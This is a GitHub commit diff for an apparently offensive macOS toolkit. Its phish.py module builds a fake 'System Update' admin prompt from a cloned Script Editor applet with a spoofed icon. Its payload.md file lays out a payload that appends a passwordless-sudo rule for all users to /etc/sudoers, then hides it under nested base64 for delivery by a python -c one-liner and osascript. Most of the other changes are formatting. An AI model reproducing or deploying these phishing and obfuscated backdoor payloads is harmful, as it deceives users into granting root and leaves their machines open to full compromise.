Skip to content

Commit b86e0ee

Browse files
committed
1.2.1
1 parent 8b08154 commit b86e0ee

File tree

5 files changed

+20
-10
lines changed

5 files changed

+20
-10
lines changed

.github/ISSUE_TEMPLATE/bug_report.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,6 @@ about: Create a report to help us improve
44
title: ''
55
labels: bug
66
assignees: ''
7-
87
---
98

109
**Describe the bug**
@@ -14,9 +13,10 @@ A clear and concise description of what the bug is.
1413
If applicable, add screenshots to help explain your problem.
1514

1615
**Info (please complete the following information):**
17-
- macOS Version [e.g. 10.14.3]
18-
- Version [e.g. 1.1.0]
19-
- Exploit [e.g. exploits.phish]
16+
17+
- macOS Version [e.g. 10.14.3]
18+
- Version [e.g. 1.2.0]
19+
- Exploit [e.g. exploits.phish]
2020

2121
**Additional context**
2222
Add any other context about the problem here.

exploits/__init__.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import glob
22
import os
33

4-
not_exploits = ["__init__.py", "general.py"]
54
__all__ = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(os.path.dirname(
6-
__file__), "*.py")) if not f in not_exploits]
5+
__file__), "*.py")) if not f in ["__init__.py", "general.py"]]

exploits/general.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ def default_browser():
2727
return handler.get("LSHandlerRoleAll")
2828
return
2929

30+
3031
def app_installed(app_name):
3132
"""check if app installed"""
3233
return os.path.isdir("/Applications/" + app_name) or os.path.isdir("~/Applications/" + app_name)

exploits/phish.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -45,11 +45,10 @@ def admin_prompt(app=None, icon_path=None, prompt="System Update", command="echo
4545
info["CFBundleIdentifier"] = "com.apple.ScriptEditor.id." + \
4646
prompt.replace(" ", "")
4747
plistlib.writePlist(info, plist)
48-
print(os.system(
49-
"cp \"{icon_path}\" \"{app_path}/Contents/Resources/applet.icns\"; touch {app_path};".format(icon_path=full_app_path + icon_path, app_path=app_path)))
48+
os.system(
49+
"cp \"{icon_path}\" \"{app_path}/Contents/Resources/applet.icns\"; touch {app_path};".format(icon_path=full_app_path + icon_path, app_path=app_path))
5050
payload = """open {app_path} --args "{command}; echo {success}" "{prompt}" """.format(
5151
app_path=app_path, prompt=prompt, command=command.replace('"', '\"'), success=rand)
52-
# print(payload) # Debugging
5352
os.system(payload)
5453
print("Application Launched...")
5554
return True

payload.md

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,53 +1,64 @@
11
# Payload
22

33
## Part 1
4+
45
```python
56
if os.getuid() == 0: os.system('echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers')
67
else: print("User is not root")
78
```
89

910
## Part 1 base64
11+
1012
```python
1113
if os.getuid() == 0: os.system(base64.b64decode('ZWNobyAiQUxMIEFMTD0oQUxMKSBOT1BBU1NXRDogQUxMIiA+PiAvZXRjL3N1ZG9lcnM='))
1214
else: print(base64.b64decode('VXNlciBpcyBub3Qgcm9vdA=='))
1315
```
1416

1517
## Part 2
18+
1619
```python
1720
import base64, os; exec(base64.b64decode('aWYgb3MuZ2V0dWlkKCkgPT0gMDogb3Muc3lzdGVtKGJhc2U2NC5iNjRkZWNvZGUoJ1pXTm9ieUFpUVV4TUlFRk1URDBvUVV4TUtTQk9UMUJCVTFOWFJEb2dRVXhNSWlBK1BpQXZaWFJqTDNOMVpHOWxjbk09JykpDQplbHNlOiBwcmludChiYXNlNjQuYjY0ZGVjb2RlKCdWWE5sY2lCcGN5QnViM1FnY205dmRBPT0nKSk='))
1821
```
1922

2023
## Part 3
24+
2125
```python
2226
python -c "$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtHSmhjMlUyTkM1aU5qUmtaV052WkdVb0oxcFhUbTlpZVVGcFVWVjRUVWxGUmsxVVJEQnZVVlY0VFV0VFFrOVVNVUpDVlRGT1dGSkViMmRSVlhoTlNXbEJLMUJwUVhaYVdGSnFURE5PTVZwSE9XeGpiazA5SnlrcERRcGxiSE5sT2lCd2NtbHVkQ2hpWVhObE5qUXVZalkwWkdWamIyUmxLQ2RXV0U1c1kybENjR041UW5WaU0xRm5ZMjA1ZG1SQlBUMG5LU2s9Jykp | base64 -D)"
2327
```
28+
2429
or
30+
2531
```bash
2632
python -c \"$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtHSmhjMlUyTkM1aU5qUmtaV052WkdVb0oxcFhUbTlpZVVGcFVWVjRUVWxGUmsxVVJEQnZVVlY0VFV0VFFrOVVNVUpDVlRGT1dGSkViMmRSVlhoTlNXbEJLMUJwUVhaYVdGSnFURE5PTVZwSE9XeGpiazA5SnlrcERRcGxiSE5sT2lCd2NtbHVkQ2hpWVhObE5qUXVZalkwWkdWamIyUmxLQ2RXV0U1c1kybENjR041UW5WaU0xRm5ZMjA1ZG1SQlBUMG5LU2s9Jykp | base64 -D)\"
2733
```
2834

29-
3035
## Modified Part 1
36+
3137
```python
3238
if os.getuid() == 0: os.system('echo "ALL ALL=(ALL) NOPASSWD: ALL" >> test.log; echo echoed')
3339
else: print("User is not root")
3440
```
3541

3642
## Modified Part 2
43+
3744
```python
3845
import base64, os; exec(base64.b64decode('aWYgb3MuZ2V0dWlkKCkgPT0gMDogb3Muc3lzdGVtKCdlY2hvICJBTEwgQUxMPShBTEwpIE5PUEFTU1dEOiBBTEwiID4+IHRlc3QubG9nOyBlY2hvIGVjaG9lZCcpDQplbHNlOiBwcmludCgiVXNlciBpcyBub3Qgcm9vdCIp'))
3946
```
4047

4148
## Modified Part 3
49+
4250
```python
4351
python -c "$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtDZGxZMmh2SUNKQlRFd2dRVXhNUFNoQlRFd3BJRTVQVUVGVFUxZEVPaUJCVEV3aUlENCtJSFJsYzNRdWJHOW5PeUJsWTJodklHVmphRzlsWkNjcERRcGxiSE5sT2lCd2NtbHVkQ2dpVlhObGNpQnBjeUJ1YjNRZ2NtOXZkQ0lwJykp | base64 -D)"
4452
```
53+
4554
or
55+
4656
```bash
4757
python -c \"$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtDZGxZMmh2SUNKQlRFd2dRVXhNUFNoQlRFd3BJRTVQVUVGVFUxZEVPaUJCVEV3aUlENCtJSFJsYzNRdWJHOW5PeUJsWTJodklHVmphRzlsWkNjcERRcGxiSE5sT2lCd2NtbHVkQ2dpVlhObGNpQnBjeUJ1YjNRZ2NtOXZkQ0lwJykp | base64 -D)\"
4858
```
4959

5060
## Delivery
61+
5162
```bash
5263
osascript <<END
5364
set command to "{command}"

0 commit comments

Comments
 (0)